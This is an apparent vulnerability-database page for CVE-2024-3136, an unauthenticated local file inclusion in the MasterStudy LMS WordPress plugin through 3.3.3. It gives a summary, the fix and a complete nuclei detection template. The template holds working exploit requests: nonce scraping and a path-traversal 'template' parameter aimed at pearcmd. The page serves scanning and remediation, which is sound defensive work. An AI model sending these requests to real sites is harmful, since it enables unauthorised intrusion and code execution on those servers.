HexBrain

Browse / CVEs / CVE-2024-3136

CVE-2024-3136· stylemixthemes / masterstudy lms

MasterStudy LMS <= 3.3.3 - Unauthenticated Local File Inclusion via template

criticalseverity
9.8CVSS score
5%likelihood of exploitation, next 30 days
92%of all CVEs are less likely
Readycheck to confirm it

The MasterStudy LMS plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 3.3.3 via the 'template' parameter. This makes it possible for unauthenticated attackers to include and execute arbitrary files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases where images and other "safe" file types can be uploaded and included.

Impact

An attacker can read sensitive files, execute arbitrary code, or escalate privileges.

Fix

Upgrade MasterStudy LMS to version 3.3.4 or higher to mitigate the vulnerability.

How to confirm it

Send: GET /?p=1 ; POST /wp-admin/admin-ajax.php?template=../../../../../../../../usr/local/lib/php/pearcmd&+config-create
Positive when: contains(to_lower(body_2),"config-create: must have 2 parameters") and status_code_2 == 200

Run it with nuclei: nuclei -id CVE-2024-3136 -u <target>

The full check
id: CVE-2024-3136

info:
  name: MasterStudy LMS <= 3.3.3 - Unauthenticated Local File Inclusion via template
  author: iamnoooob,rootxharsh,pdresearch
  severity: critical
  description: The MasterStudy LMS plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 3.3.3 via the 'template' parameter. This makes it possible for unauthenticated attackers to include and execute arbitrary files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases where  images and other "safe" file types can be uploaded and included.
  impact: |
    An attacker can read sensitive files, execute arbitrary code, or escalate privileges.
  remediation: |
    Upgrade MasterStudy LMS to version 3.3.4 or higher to mitigate the vulnerability.
  reference:
    - https://plugins.trac.wordpress.org/changeset/3064337/masterstudy-lms-learning-management-system/trunk/_core/lms/classes/helpers.php
    - https://plugins.trac.wordpress.org/changeset/3064337/masterstudy-lms-learning-management-system/trunk/_core/lms/classes/templates.php
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/9a573740-cdfe-4b58-b33b-5e50bcbc4779?source=cve
    - https://github.com/drdry2/CVE-2024-3136-Wordpress-RCE
    - https://github.com/nomi-sec/PoC-in-GitHub
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-3136
    epss-score: 0.05018
    epss-percentile: 0.9232
    cpe: cpe:2.3:a:stylemixthemes:masterstudy_lms:*:*:*:*:wordpress:*:*:*
  metadata:
    verified: true
    max-request: 2
    publicwww-query: "/wp-content/plugins/masterstudy-lms-learning-management-system"
    product: masterstudy_lms
    vendor: stylemixthemes
  tags: cve,cve2024,wp,wordpress,unauth,lfi,vuln
variables:
  randomstr: "{{randstr_1}}"
  marker: "{{base64(randomstr)}}"

http:
  - raw:
      - |
        GET /?p=1 HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /wp-admin/admin-ajax.php?template=../../../../../../../../usr/local/lib/php/pearcmd&+config-create HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=stm_lms_load_content&nonce={{nonce}}&

    host-redirects: true
    max-redirects: 2
    matchers:
      - type: dsl
        dsl:
          - 'contains(to_lower(body_2),"config-create: must have 2 parameters")'
          - 'status_code_2 == 200'
        condition: and

    extractors:
      - type: regex
        part: body
        regex:
          - '"load_content":"(\w+?)"'
        group: 1
        internal: true
        name: nonce

References

Use this check only on systems you are authorised to test. Where the data comes from